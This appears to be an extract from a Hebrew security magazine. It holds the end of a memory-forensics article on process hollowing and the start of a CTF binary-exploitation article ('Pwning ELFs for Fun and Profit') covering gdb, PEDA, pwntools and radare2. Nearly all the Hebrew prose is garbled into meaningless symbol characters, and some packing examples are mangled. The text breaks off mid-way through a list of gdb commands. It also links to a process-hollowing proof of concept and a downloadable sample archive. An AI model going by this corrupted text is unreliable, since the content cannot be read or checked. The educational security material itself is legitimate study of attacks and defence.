Ksl.taskforce@gmail.com 

 

˫˧˶ˣ˷˧˵ ˸˲˯ˣˮ ˢ˞˧˶˵˪ 

:˟ ˞˴ˬˮ ˣˮ˪˷ ˦˵˧ˣ˶˲ˢ ˪˰ ˱˯ˣˮ ˰ˡ˧ˬ 

https://github.com/kslgroup/threadmap 

ˢ ˸˞-Memory Dump ˞ˣ˴ˬ˪ ˭˸˧ˮ: 

https://drive.google.com/file/d/0B7v1Owo0v5SYZ016VmVoVFV1elE/view?usp=sharing 

ˣ˞: 

https://www.mediafire.com/file/jlmtbbinanuh6jr/KSLSample.rar 

Hale Ligh Michael, Case Andres, Levy Jamie, Walter Aaron, The Art of Memory Forensics, Wiley, 2014  

Szor Peter, The Art of Computer Virus Research and Defense, Addison Wesley Professional, 2005  

Russinovich Mark, Solomon A. David, Ionescu Alex, Windows Internals 6
th
 Edition, Microsoft Press, 2012 

 ˪˷ ˶˵˥ˬˢ ˪˰ ˰ˡ˧ˬhollowfind sx-plugin : 

https://cysinfo.com/detecting-deceptive-hollowing-techniques/ 

 ˪˷ ˶˵˥ˬˢ ˪˰ ˰ˡ˧ˬmalfofind sx-plugin : 

https://github.com/volatilityfoundation/community/tree/master/DimaPshoul/ 

˪ ˯˧˯˟˩ ˣˮ˷ˬ˸˷ˢ ˣ˟˷ ˦˵˧ˣ˶˲ˢ-PoC  :˟ ˞˴ˬˮ 

https://github.com/m0n0ph1/Process-Hollowing 

https://github.com/kslgroup
mailto:Ksl.taskforce@gmail.com
https://github.com/kslgroup/threadmap
https://drive.google.com/file/d/0B7v1Owo0v5SYZ016VmVoVFV1elE/view?usp=sharing
https://www.mediafire.com/file/jlmtbbinanuh6jr/KSLSample.rar
https://cysinfo.com/detecting-deceptive-hollowing-techniques/
https://github.com/volatilityfoundation/community/tree/master/DimaPshoul/
https://github.com/m0n0ph1/Process-Hollowing
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Pwning ELFs for Fun and Profit 
 ˸˞ˬˢ˧˦˰ ˪˟ˣ˧ 

 

˵ˢˢˬˡ 

CTF )Capture the Flag ˪˷ ˡˣ˞ˬ ˳ˣ˲ˮ ˠˣ˯ ˞ˣˢ (ˢ ˨˪ˢˬ˟ .˰ˡ˧ˬ ˸˥˦˟˞ ˫ˣ˥˸˟ ˸ˣ˶˥˸-CTF ˫˧˸ˣˣ˴ ,

?˧ˣ˦˧˟ ˧ˡ˧˪ ˢ˞˟ ˸ˣ˶˥˸ˢ ˡ˴˧˩ .˫˧˯˶˲˟ ˸ˣ˩ˤ˪ˣ ˥˴ˮ˪ ˭ˣ˧˯˧ˮ˟ ˢˤ˟ ˢˤ ˫˧˶˥˸ˬ ˫˧ˮˣ˷ 

 ˪˷ ˫˧˴ˣ˲ˮ ˫˧ˠˣ˯ ˧ˮ˷ ˫ˮ˷˧CTF : 

1. Jeopardy -  ˧˰ˣ˶˧˞ ,˶˩ˣˬˢ ˧ˮ˵˧˶ˬ˞ˢ ˭ˣ˰ˣ˷˰˷˪ ˢˬˣˡ˟Jeopardy  ˸ˣ˧˶ˣˠ˦˵˪ ˫˧˵˪ˣ˥ˬ- Pwnable 

 ,(˟ˣ˶ ˧˲ ˪˰ ˸˧˶˞ˮ˧˟ ˢ˧˴˦˧ˣ˪˲˯˵˞)Reversing  ˧˶ˠ˸˞˪ ˪˪˩ ˨˶ˡ˟ ˢˬˣˡ)crackme ,(

Steganography ,Networking ,OSINT  ˫˧˶ˠ˸˞ ˷˧ ˫˧˸˧˰˪) ˫˧˶ˠ˸˞ ˶˲˯ˬ ˢ˧˶ˣˠ˦˵ ˪˩˟ .ˡˣ˰ˣ

 ˡˣ˵˧ˮ˟ ˢ˩ˣˤ ˸ˣˣ˴ˢ ,˶ˠ˸˞ ˫˧˶˸ˣ˲˷ ˫˰˲ ˪˩˟ .ˡˣ˵˧ˮ ˶ˠ˸˞ ˪˩˪ˣ ,(˸˥˞ ˢ˧˶ˣˠ˦˵ˬ ˶˸ˣ˧˪ ˫˧˩˧˧˸˷ˬˢ

ˣ˵˧ˮ˪ ˢˣˣ˷ˢ ˡˣ˵˧ˮ ˶ˠ˸˞ ˪˩˪ ˞˪ .˥˴ˮˬ ˰ˣ˶˧˞ˢ ˱ˣ˯˟ ˶˸ˣ˧˟ ˢˣ˟ˠˢ ˡˣ˵˧ˮˢ ˫˰ ˸ˣˣ˴ˢˣ ,˶ˠ˸˞ˢ ˪˷ ˡ

.˥˴ˮ˧ ˫˧˶ˠ˸˞ ˢ˟˶ˢ ˧˩ˢ ˶ˣ˸˲˧˷ ˸ˣˣ˴ˢ ˞˵ˣˣˡ ˣ˞˪ ˭˩˪ ,ˢˣˣ˷ 

2. Attack-Defense -  ˸˧˪˞ˣ˦˶˧ˣ ˢˮˣ˩ˬˬ ˸ˣ˵˸˰ˣˬ ˸ˣˮˣ˩ˬˢ ˪˩ .ˢˮˣ˩ˬ ˸˪˟˵ˬ ˢ˴ˣ˟˵ ˪˩ ,ˢ˪˧˥˸

ˣ ˸˷˶ ˢ˸ˣ˞˪ ˸ˣ˶˟ˣ˥ˬˣ ,ˣˮ˧˩ˢ ˸ˣ˶˥˸ˢ ˧ˮˠ˶˞ˬ˷ ˷˧ ˢˮˣ˩ˬ ˪˩˟ .˸ˣ˶˥˸ˢ ˪˩ ˨˶ˣ˞˪ ˸ˣ˷˧ˠˮ

 ˸ˣ˶˥˸ˢ ˭˩ˬ ˶˥˞˪ˣ ,˸˧˯˧˯˟ ˢˮˠˢ ˸˶˧˴˧ˣ ˢˮˣ˩ˬˢ ˸˶˩ˢ˪ ˧˸˪˥˸ˢ ˭ˬˤ ˵ˮ˰ˣˬ .˫˧˪ˠˡ ˶˲˯ˬ/˪ˠˡ

 ˪ˣ˴˧ˮ ˸ˣ˰˴ˬ˞˟ ˫˧˶˥˞ ˫˧˸ˣˣ˴ˬ ˫˧˪ˠˡ ˶˸ˣ˧˷ ˢˬ˩ ˱ˣ˯˞˪ ˞˧ˢ ˸ˣˣ˴ ˪˩ ˪˷ ˢ˶˦ˬˢ .ˢ˪˧˥˸ˬ

˪˷ ˢˮˣ˩ˬˢ ˪˰ ˭ˠˢ˪ ˪˧˟˵ˬ˟ˣ ,ˢ˲˵˸ˢ ˸ˣˡˣ˵ˮ ˶ˣ˟˴˪ ˨˩ˣ ,˸ˣ˷˪ˣ˥ ˶ˣ˟˴˪ ˨˩ˣ ,˸ˣ˲˵˸ˢ ˧ˮ˲ˬ ˫ˢ

 .('ˣ˩ˣ ˫˧˪ˠˡ˟ ˸˰ˠ˪ ˞˪ ,ˢˮˣ˩ˬˢ ˸ˣˮ˧ˬˤ) ˫˧˵ˣ˥˪ ˸ˣ˧˴ ˪˰ ˱˯ˣˮ ˭ˣ˧˴ ˵˧ˮ˰ˢ˪ ˠˣˢˮ ,˭˩ ˣˬ˩ .ˢˮˠˢ ˸ˣˡˣ˵ˮ

.˪˪˩ˣ˷ˬˢ ˭ˣ˧˴ˢ ˧˲ ˪˰ ˰˴˟˸ˬ ˧˲ˣ˯ˢ ˠˣ˶˧ˡˢ 

 ˥ˣˮ˧ˬ˟ ˷ˬ˸˷ˮ˷˩ ,˸ˣ˦˷˲ ˫˷˪ ,ˢˤ ˶ˬ˞ˬ˟CTF ˪ ˭ˣˣ˩˸ˮ-CTF  ˦ˬ˶ˣ˲˟Jeopardy. 

ˢ ˪˷ ˢˬ˶ˢ-CTFs ˭˧˟ ˢˮ˸˷ˬ ˬ ˪˥ˢ ,ˣˢˮ˷ˬ˪ ˡ˥˞-CTFs  ˭˧˧ˮ˰ ˧˪˰˟ ˨˞ ˭ˣ˧˯˧ˮ ˧˶˯˥ ˫˧˷ˮ˞˪ ˡ˰ˣ˧ˬ˷

 ˸˶˟˥)Checkpoint  ˢ˩˶˰CTF  ˦ˬ˶ˣ˲˟ ˢˤ˩˷Jeopardy  ˫˧˷ˮ˞ ˯ˣ˧ˠ˪ ˡ˰ˣ˧ˬ ˢ˧ˢ˷ ,˫˧˷ˡˣ˥ ˶˲˯ˬ ˧ˮ˲˪

 ˨˶ˡ ,(ˢ˶˟˥˟ ˢ˶˷˩ˢ˪CTFs ˪ ˡ˰ˣ ,˰ˡ˧ˬˢ ˸˥˦˟˞ ˧ˬˣ˥˸˟ ˧˯˧˯˟ ˰ˡ˧ ˧˪˰˟ ˭ˣ˩˧˸ ˧ˡ˧ˬ˪˸˪-CTFs  ˫ˢ˟

˥˸ˢ ˧˪ˣˡˠ ˫˧˶˥˸ˬ ˣˬ˩) ˫ˣDefcon CTF.( 

˟ ˢ˧˩ˤ-CTF  ˧˵˥˷ˬ˟ ˫˧˲˸˸˷ˬ˷ ˫˧˟˶ ˫˧˧˰ˣ˴˵ˬ ˫˧˸ˣˣ˴ˣ ,ˡ˟ˣ˩ˬ ˠ˷˧ˢ˪ ˸˟˷˥ˮCTF  ˸ˣ˧ˣ˶˥˸ ˫˧˩˶ˣ˰

 ˞ˣˢ ˫˧˶˩ˣˬˢ ˡ˥˞) ˫ˬ˴˰˟ ˣ˪˞˩PlaidCTF˪ ˟˷˥ˮ˷ ,-CTF .(ˡˣ˞ˬ ˡ˟ˣ˩ˬˣ ˧˰ˣ˴˵ˬ 

CTFs ˸˯ˢ˪ ˧˪˟ˬ ˢ˥˦˟˞ˢ ˫ˣ˥˸ ˪˷ ˧˲˵˸ˢˢ ˡ˴˟ ˧˦˵˶˲ ˭˲ˣ˞˟ ˸ˣ˯ˮ˸ˢ˪ ˢ˪ˣ˰ˬ ˸ˣˮˬˡˤˢ ˫ˢ ˭˩

˟ ˫˧˶ˠ˸˞ˢ ˟ˣ˶˪ .˫˧˷ˡ˥ ˫˧˞˷ˣˮ ˡˣˬ˪˪ ˢ˪ˣ˰ˬ ˢˬ˶ˣ˲˦˪˲ ˭˩ˣ ,˵ˣ˥ˢ ˪˰ ˢ˶˧˟˰˟-CTFs  ˣ˟˸˩˧ ˫˧˶˩ˣˬˢ

) ˫ˮˣ˶˸˲ ˨˶ˡ ˸˞ ˫˧˶˧˟˯ˬ˷ ˫˧˶ˬ˞ˬwrite-ups ˸ˣ˟˶ ˡˣˬ˪˪ ˭˸˧ˮ ˡ˟˪˟ ˫˧˶ˬ˞ˬˢ ˸˞˧˶˵ˬ ˫ˠ˷ ˨˩ ,(

˟ ˣˮ˪˷ ˧˰ˣ˴˵ˬˢ ˰ˡ˧ˢ˷ ˞˷ˣˮ˟ ˵˯ˣ˰ ˵˯ˣ˰ ˶ˬ˞ˬˢ ˣ˟ ˶ˠ˸˞ˢ ˫˞ ˡ˥ˣ˧ˬ˟ ,˸˧˰ˣ˴˵ˬ ˥˸˲˸ˢ˪ˣ.˪ˡ ˞ˣˢ ˣ 
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ˢ ˟ˣ˶˪-CTFs  ˰ˣ˟˷ˢ ˱ˣ˯ ˨˪ˢˬ˟ ˣ˷˥˶˸˧- .˭ˣ˷˞˶ ˡ˰ ˧˷˧˷ˬ 

 ˢ˧ˢ˸ ˷"˲ˣ˯ˢ ˸˞ ˪˴ˮ˪ ˢ˪ˣ˰ˬ ˨˶ˡ˷ ˧ˬ˴˰˪ ˧˸˟˷˥ˣ ,˷"˲ˣ˯ˢ ˨˪ˢˬ˟ ˢ˪ˣ˥ ˧˸˧˧ˢ ,˶˟ˬ˦˲˯ ˸˪˧˥˸˟

 ˰ˣ˶˧˞ ˞ˣ˴ˬ˪CTF  ˶˸˞˪ ˧˸˯ˮ˩ˮ ˤ˞ ,ˣ˟ ˱˸˸˷ˢ˪ˣ ˭˧ˬˤwww.ctftime.org  ˪˧˥˸ˢ˪ ˡˬˣ˰˷ ˧˸˧˞˶ˣ

ASISCTF Finals CTF  ˸ˮ˷˪2017ˢ ˸˞ ˸ˮˠ˶˞ˬ˷ ˢ˴ˣ˟˵ˢ˷ ˶˶˟˸ˬ .-CTF  ˸˞ ˧˸˷˲˧˥˷˩ˣ ,˸˧ˮ˞˶˧˞ ˞˧ˢ

 .˟ˣ˦ ˣˮ .˭˧˦˯˪˲ ˸˞ ˞˪˞ ˪˞˶˷˧ ˸˞ ˧˸˞˴ˬ ˞˪ ,˧˪˷ ˢ˴ˣ˟˵ˢ ˸˞ ˧˸ˬ˷˶˷˩ ˸ˣˮ˧ˡˬˢ ˸ˬ˧˷˶˟ ˪˞˶˷˧ 

ˣ˸˲˪ ˧˸˥˪˴ˢ ,˰ˣ˶˧˞ˢ ˸˶˧ˠ˯ ˡ˰ .˪˧˥˸ˢ ˰ˣ˶˧˞ˢ˷ ˧˸˧˩˧˥ˣ ˡ˟˪ ˧˸ˬ˷˶ˮ ˶6  ˫˧˶ˠ˸˞-  ˫˧˧ˮ˷ ,˧˪˪˩ ˡ˥˞

 ˞˷ˣˮ˟Pwnable ˞˷ˣˮ˟ ˫˧˧ˮ˷ ,reversing ˞˷ˣˮ˟ ˡ˥˞ ,web  ˞˷ˣˮ˟ ˡ˥˞ˣcrypto ˞˪ ˫˧˶ˠ˸˞ˢˬ ˢ˟˶ˢ .

.˸ˣ˯ˮ˪ ˧˸˵˲˯ˢ 

ˢ˷ ˶˥˞˪-CTF ˢ ˧˶ˠ˸˞ ˸˞ ˫˧˧˯˪ ˧˸˦˪˥ˢ ,˶ˬˠˮ-Pwnable ˢ˧ˢ˧˷ ˧˸˟˷˥ ,˫ˢ˧˪˰ ˢˡˣ˟˰ˢ ˨˪ˢˬ˟ˣ ,

˶˸˲ˢ ˧˩˶ˡ˟ ˵˯ˣ˰ˢ ˭˧ˤˠˬ˪ ˶ˬ˞ˬ ˟ˣ˸˩˪ ˭˧˧ˮ˰ˬ ˭˞˩˪ ˣˮ˸ˣ˞ ˞˧˟ˬ ˢˤˣ ,ˣ˪˪ˢ ˫˧˶ˠ˸˞˪ ˧˪˷ ˭ˣJ 

 ˞˟ˢ ˦ˬ˶ˣ˲˟ ˶ˠ˸˞ˢ ˧˲˸˸˷ˬ˪ ˣˮ˸˧ˮ ˭ˣˡˮ ˫ˢ˟˷ ˫˧˶ˠ˸˞ˢ ˪˩-  ˳˟ˣ˵elf ˸˟ˣ˸˩ ,IP  ˸˶˷ ˪˷ ˦˶ˣ˲ˣ

 ˢ˧ˢ ˞˪ ˟˴ˬˢ ˭˞˩ ,˶ˠ˸˞ˢ ˭ˣ˶˸˲˪ ˫˧ˤˬ˶ ˶ˣ˞˧˸˟ ˷˧ ,˫˧˸˧˰˪ .˶ˠ˸˞˪ ˶˴˵ ˶ˣ˞˧˸ˣ ,˳˟ˣ˵ˢ ˸˞ ˳˧˶ˬ˷

˞ ˶ˣ˵˥˪ ˞˧ˢ ˫˧˶ˠ˸˞ˢˬ ˡ˥˞ ˪˩˟ ˢ˶˦ˬˢ .ˢˤ˩ ˸˞ ˠ˧˷ˢ˪ ˪˧˟˷˟ ˣ˸ˣ˞ ˪˴ˮ˪ ˭˸˧ˮ ˡ˴˧˩ ˭˧˟ˢ˪ˣ ˳˟ˣ˵ˢ ˸

˟ ˷ˬ˸˷ˢ˪ ˭˩ˬ ˶˥˞˪ˣ ,˪ˠˡˢ-exploit  .˸˶˷ˢˬ ˪ˠˡˢ ˸˞ ˳˪˥˪ ˪˧˟˷˟ ˣˮ˶˴˧˷ 

 ˡˣ˰ ˣ˧ˢ2  ˫˧ˮ˧ˤ˞ˬ ˞˪ ˶˟˩ ˫˧˸˶˷ˢ ˧˶˰˴˪ ˨˞ ,˧˶˞ˮ˧˟ˢ ˳˟ˣ˵ˢ ˭˸˧ˮ ˞˪ ˫ˢ˟˷ ˢ˧˶ˣˠ˦˵˟ ˫˧˶ˠ˸˞

˨˪ˢˬ˟ ˫˧˶ˠ˸˞ ˫˸ˣ˞ ˸˞ ˧˸˶˸˲ ˞˪˷ ˭ˣˣ˧˩ˬˣ ,ˣ˵˲ˣ˯˷ ˫˧˦˶ˣ˲˟  ˸ˣˬ˷ ˪˩ .˭˞˩ ˫ˢ˧˪˰ ˟˧˥˶˞ ˞˪ ˰ˣ˶˧˞ˢ

 ˸˧˲˧˴˲˯ ˫˧˯˥˧˧˸ˬ ˫˧˶ˣ˞˧˸ˢˣ ,˯ˬ˪ˣˢ ˵ˣ˪˶˷ ˪˷ ˣˬ˪ˣ˰ˬ ˸ˣ˧ˣˬˡ ˪˷ ˸ˣˬ˷ ˪˰ ˫˧˯˯ˣ˟ˬ ˫˧˶ˠ˸˞ˢ

ˢ ˪˷ ˢ˪ˣ˰ˬˢ ˢ˶ˡ˯˪-BBC -  ˳˟ˣ˵˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˫ˢ˟ ˵ˣ˯˰ˮ˷ ˫˧˶ˠ˸˞ˢ ˪˩˪ ˫˧˧˶˞ˮ˧˟ˢ ˸˞ ."˵ˣ˪˶˷"

 ˫˧˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ ˸ˣ˯ˮ˪ ˡˣ˞ˬ ˳˪ˬˣˬ ,˭ˣ˧˪˧ˠ˪ ˱˶ˣ˴ˬˢ.˶ˬ˞ˬˢ ˸˞˧˶˵ ˡ˴˪ 

.˶ˠ˸˞ˢ ˨˪ˢˬ˟ ˷ˬ˸˷ˮ ˫ˢ˟ ˫˧˪˩ ˤˠ˶˞ ˸ˣˮ˟˪ ˣˮ˧˪˰ ,˫˧˶ˠ˸˞˪ ˷ˠ˧ˮ˷ ˧ˮ˲˪ 

  

http://www.ctftime.org/
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ˤˠ˶˞ ˫˧˪˩ˢ 

 ˧˴˟˵ELF  ˧˴˟˵˪ ˧˯˵ˣˮ˧˪ˢ ˫˧˪˟˵ˬˢ ˫ˢPE  .ˢ˷˧ˠˮ ˯˵ˣˮ˧˪ ˸ˡˬ˰ ˣˮ˪ ˢ˧ˢ˸˷ ˷˵˟˸ˬ ˭˩˪ ,˯ˣˡˮ˧ˣˣ˟

 ˪˰ ˳˧˶ˢ˪ ˧˸˶˥˟ ,˸˧˷˧˞VM  ˪˷ ˢ˴˲ˢKali Linux  ˸˧˲˧˴˲˯)2016.2 (-  ˸˴˲ˢDebian  ˧˶˵ˣ˥˪ ˢˡ˰ˣˮ˷

.˫˧˧˷ˣˬ˧˷ ˫˧˪˩ ˱˯ˣ˞ ˢ˩ˣ˸˟ ˸˪˪ˣ˩ˢ ,˸˧˪˦˧ˠ˧ˡ ˢ˵˧ˤˮ˶ˣ˲ˣ ˰ˡ˧ˬ ˸˥˦˟˞ 

 ˞ˣˢ ˱˯ˣˮ ˧˷ˣˬ˧˷ ˧˪˩gdb - GNU Debugger -  ˯˯ˣ˟ˬ ˶ˠ˞˟˧ˡcommand-line  ˶˟ˣˡˬ .˫˧˩˧˪ˢ˸ ˠˣ˟˧ˡ˪

˪ ˢˬˣˡ˷ ˡˣ˞ˬ ˵ˤ˥ ˧˪˩˟-windbg  ˢˬˣˡ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˶˷˲˞ˬ ˞ˣˢˣ ,˯ˣˡˮ˧ˣˣ˟- ˢ ˸˥˸ ˨˧˪ˢ˸ ˸˴˶ˢ-

debugger ˰ˣ˴˧˟ ,˭ˣ˶˩˧ˤ ˸˩˧˶˰ˣ ˢ˧˧˲˴ ,˳˶ ˨˧˪ˢ˸˪ ˸ˣ˶˟˥˸ˢ ,disassembling  ,˭ˣ˶˩˧ˤ˟ ˧˶˞ˮ˧˟ ˟ˣ˪˟˪

) ˢ˶˧˴˰ ˸ˣˡˣ˵ˮ ˸˟˴ˢbreakpoints ˨˶˦˴ˮ ˸ˣ˟˶ ˫˧ˬ˰˲ ,˸ˣ˧ˮ˩˸ ˫˧˶˵ˣ˥ ˣˮ˞ ˶˷˞˩ .ˡˣ˰ˣ ˫˧ˮ˟ˬ ˸ˮ˧˥˟ ,(

˟ ˷ˬ˸˷ˢ˪-gdb ˨˷ˬˢ˟ .ˣˢ˷˪˩ ˦˪˵ ˸˧ˮ˩˸˪ ˫˧˵˧ˮ˰ˬ ˣˮ˞ ˶˷˞˩ ˷˥˶˸ˬ ˢˬ ˸ˣ˞˶˪ ˧ˡ˩˟  ˪˰ ˟˧˥˶ˮ

˟ ˸ˣ˧˯˧˯˟ ˸ˣˡˣ˵˲-gdb .˫˧˶ˠ˸˞ˢ ˸˶˧˸˲ ˨˪ˢˬ˟ ˢ˟˶ˢ ˭ˢ˟ ˶ˤ˰˧ˮ˷ 

˪ ˱˯ˣ˸˟ ˷ˬ˸˷ˮ-gdb  ˫˷˟PEDA - Python Exploit Development Assistance - ˪ ˱˯ˣ˸-gdb  ˷˧ˠˮˬ˷

 ˣˬ˩ ,˫˧˦˧ˣ˪˲˯˵˞ ˥ˣ˸˧˲˪ ˸ˣ˧˷ˣˬ˧˷ ˸ˣˡˣ˵˲ ˱˧˯ˣˬ ˭˩ˣ ,˸˧˪˞ˣˤ˧ˣ ˶˸ˣ˧ ˢ˶ˣ˶˟ˣ ˢˬ˧˰ˮ ˢ˶ˣ˴˟ ˣ˸ˣ˞

checksec x-aslr ˣ ,˫˧ˠ˟ˡˬ ˣˮ˞˷ ˧˶˞ˮ˧˟˟ ˷ˣˬ˧˷˟ ˫˧˞˴ˬˮ˷ ˢ˥˦˟˞ˢ ˧ˮˣˮˠˮˬ ˸˵˧ˡ˟˪-vmmap  ˸˪˟˵˪

.˫ˢ˪˷ ˸ˣ˞˷˶ˢˢ ˭˩ˣ ˨˧˪ˢ˸ˢ ˧ˡ˧ ˪˰ ˷ˣˬ˧˷˟ ˫˧˞˴ˬˮ˷ ˫˧˲ˣˬˬˢ ˭ˣ˶˩˧ˤˢ ˧˶ˣˤ˞ ˪˰ ˰ˡ˧ˬ 

 ˸˞ ˱ˣ˦˰˪ ˣˮ˪ ˶ˣˤ˰˸˷ ˸˲˦˰ˬ ˞ˣ˴ˬ˪ ˫˧˴ˣ˶ ˣˮ˧˧ˢ ,˦ˣ˷˲ ˶˟ˡ ˞˪ ˞˧ˢ ˫˧˩˧˪ˢ˸ ˭˧˟ ˸˶ˣ˷˵˸˷ ˭ˣˣ˧˩ˬ

 ˥˸˲˪ ˪˵ ˣˮ˪ ˢ˧ˢ˧˷ ˨˩ ˧ˬˣ˵ˬ ˨˧˪ˢ˸ ˫˰ ˸˶ˣ˷˵˸ˢexploit  ˢ˴˶ˮ ˶˷˞˩ˣ ,˧˶˞ˮ˧˟ˢ ˶ˣ˟˰-  ˪ˣˬ ˣ˸ˣ˞ ˳˧˶ˮ

 ˸ˣ˰˴ˬ˞˟ ˸˞ˤ ˸ˣ˷˰˪ ˶˷˲˞ .˸˶˷ˢrarun2 -  ˫˰ ˞˟˷ ˧˪˩radare2 ˪ ˸˧˸˷˸)-reverse engineering 

 ˟ˣ˸˩˪ ˪˩ˣˮ ˨˩ˣ ˫˧ˣ˯ˬ ˦˶ˣ˲˟ ˭˧ˤ˞˧˷ ˨˩ ˧˶˞ˮ˧˟ ˳˧˶ˢ˪ ˶˷˲˞ˬ ˶˷˞ ,(˶ˬ˞ˬ˟ ˢ˟ ˵ˣ˯˰ˮ ˞˪˷exploit 

ˢ ˸˞ ˸ˣˮ˷˪ ˭˩ˬ ˶˥˞˪ˣ ˧˪˞˵ˣ˪ ˸˶˷ ˫˰ ˶˷˵˸ˬ˷-IP  ˢ˦˧˷˟ .ˣˮ˪ ˣ˵˲ˣ˯˷ ˫˧ˮˣ˸ˮ˪ ˣˬ˧˞˸˧˷ ˨˩ ˦˶ˣ˲ˢˣ

 ˧˟˧˦˵˞˶˦ˮ˧˞ ˟˴ˬ˪ ˶ˣ˟˰˪ ˸˪ˣ˩˧ˢ ˶˯ˣ˥ ˞˧ˢ ˸˧˶˵˧˰ˢ ,˸ˣ˧˰˟ ˶˲˯ˬ ˣˤ- ˟˷ ˸˲˦˰ˮ ˞˪ ˸˶ˣ˷˵˸ˢ ˣ

ˢ ˨˶ˡ ˫˧˶˷˵˸ˬ ˷ˬˬ ˣˮ˥ˮ˞ˣ ˣˮ˪˧˟˷˟-terminal .˸˧ˮ˩˸/˸˶˷ˢ ˫˰ 

ˢ ˥ˣ˸˧˲ ˨˧˪ˢ˸ ˪˰ ˪˵ˢ˪ ˭˩ˣ ,ˣˤˢ ˢ˧˰˟ˢ ˸˞ ˶ˣ˸˲˪ ˪˧˟˷˟-exploit  ,˸ˣ˷˪ˣ˥ˢ ˸˞˧˴ˬ ˨˧˪ˢ˸ ˪˰ˣ

˟ ˷ˬ˸˷ˮ-pwntools -  ˶ˣ˟˰ ˡ˥ˣ˧ˬ˟ ˢ˸ˮ˟ˮ˷ ˸˧ˮˣ˸˧˧˲ ˸˧˸˷˸ctfs ˢ˟˶ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˸˞˴˧˧ˬˣ ,

ˮ˷ ˸˧˷ˣˬ˧˷ˣˢ ˥ˣ˸˧˲ ˨˪ˢˬ˟ ˢ˟ ˶ˤ˰˧-exploits  ˸˶ˣ˷˵˸˪ ˢˡ˧˥˞ ˸˲˦˰ˬ ˸˵˲˯ˬ ˞˧ˢ ,˭˩ ˣˬ˩ .ˣˮ˪˷

˶ˢ˪ˣ ˸˶˷ ˪ˣˬ˸˴  ˧˴˟˵ ˪˰ˬ ˢ˲˧˦˰ ˸˵˲˯ˬ ,˧ˬˣ˵ˬ ˨˧˪ˢ˸ELF ˰˴˟˪ ˸˶˷˲˞ˬ ,packing x-unpacking 

 ˸˞ ˫ˠ˶˸˪ ˣˬ˩ ,ˣ˸ˣ˞ ˸ˠ˴˧˧ˬ˷ ˸ˤˣ˶˥ˬ˪ ˶˲˯ˬ ˫ˠ˶˸˪ ˢ˴˶ˮ˷˩ ˡˣ˞ˬ ˧˷ˣˬ˧˷ ˢ˧ˢ˧) ˢ˥ˣˮ ˢ˶ˣ˴˟

0x4f0049 ˪-ά\x00\x49\x00\ȄпŦέ -  ˭˪ˢ˪packing ˣˬ˩ ,˸ˤˣ˶˥ˬ ˫ˠ˶˸˪ ˣ˞ ,ά\x7f\xf8\x04\Ȅпмέ  ˶˲˯ˬ˪

0x4104f87f -  ˭˪ˢ˪(unpacking˪ ˢ˷˧ˠ ,-shellcode-ˢ ˪˩ .ˡˣ˰ˣ ˫˧ˮ˩ˣˬˬ ˫˧-exploits  ˣ˯˯˟˸˧ ˭˞˩ ˟ˣ˸˩ˮ˷

 ˪˰pwntools.ˣˤˢ ˸˧˸˷˸ˢ ˪˰ ˥˧˷ˢ ˸˞ ˟˧˥˶ˮ ˨˷ˬˢ˟ˣ , 

˟ ˷ˬ˸˷ˮ ,˭˩ ˣˬ˩-disassembler ˦˦˯˟ ˷ˬ˸˷ˢ˪ ˧˸˶˥˟ ˧ˮ˞ .˫˧˧˶˞ˮ˧˟ˢ ˸˞ ˭ˣ˥˟˪ ˸ˮˬ ˪˰ ˣˮ˸˶˧˥˟˪ ˧-

IDA. 
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gdb ˸˥˞ ˪ˠ˶ ˪˰ 

 ,˶ˣˬ˞˩gdb  ˸ˣ˩˶˰ˬ˟ ˶˸ˣ˧˟ ˧˶˪ˣ˲ˣ˲ˢ ˶ˠ˞˟˧ˡˢ ˞ˣˢunix ˧˪˩˟ ˶˟ˣˡˬ˷ ˭ˣˣ˧˩ˬ ,˸˞ˤ ˫˰ .command-

line ˵˷ˬˬ ˫˧˵˲˯ˬ˷ ˫˧˧ˮˣ˴˧˥ ˫˧˥ˣ˸˧˲ ˫˧ˬ˧˧˵ ˫ˮˬˣ˞ .ˢ˪˥˸ˢ˟ ˡ˥ˣ˧ˬ˟ ˧˪˞˧ˣˣ˧˶˦ ˞˪ ˣ˟ ˷ˣˬ˧˷ˢ ,gui 

 ˶ˣ˟˰gdb -  ˞ˣˢ ˫ˢ˧ˮ˧˟ ˳ˣ˲ˮˢgdbgui  ˪˰ ˢ˦˧˪˷˪ ˭˲ˡ˲ˡ ˵˷ˬˬ ˵˲˯ˬ˷gdb ˫˧˪˩˟ ˷ˬ˸˷ˮ ˞˪ ˨˞ ,

˟ ˸ˣ˧ˮˣ˧˥ˣ ˸ˣ˧˯˧˯˟ ˸ˣˡˣ˵˲ ˪˪˷ ˶ˣ˵˯ˮ ,˸˞ˤ ˫ˣ˵ˬ˟ .˶ˬ˞ˬ˟ ˢˤ ˠˣ˯ˬ-gdb: 

1. ˢˬ ˨˧˪ˢ˸˪ ˸ˣ˶˟˥˸ˢ-terminal ˸˞ ˳˧˶ˮ :gdb  ˸˞ ˠ˧˷ˢ˪ ˪˧˟˷˟ ˫˧ˮˣ˷ ˫˧˦ˮˬˣˠ˶˞ˣ ˫˧˪ˠˡ ˫˰

.ˢ˧ˣ˴˶ˢ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ 

¶ gdb <elf_file_path> : ˸˥˸ ˳˟ˣ˵ˢ ˸˞ ˳˧˶˧gdb ˸˞ ˪˧˥˸ˮ ˶˷˞˩ ˵˶ ˳ˣ˶˪ ˪˧˥˸˧ ˳˟ˣ˵ˢ .

˟ ˣ˪˷ ˢ˴˧˶ˢ-gdb .(˨˷ˬˢ˟ ˨˩ ˪˰ ˡˣ˰) 

¶ gdb -q [...] ˸˞ ˳˧˶˧ :gdb  ˸ˣ˥˲ ˫˰ ˶ˬˣ˪˩ ,˦˵˷ ˟˴ˬ˟verbosity ˢˤ ˟˴ˬ˟ ˳˧˶ˢ˪ ˶˥˟ˮ ˟ˣ˶˪ .

.˪ˣ˟˧ˤ ˰ˣˮˬ˪ ˪˧˟˷˟ 

¶ gdb <elf_file_path> <pid> :˨˧˪ˢ˸˪ ˶˟˥˸˧ ˬ ˶˴ˣˮ˷-elf_file_path sx-pid ˢ ˞ˣˢ ˣ˪˷-pid 

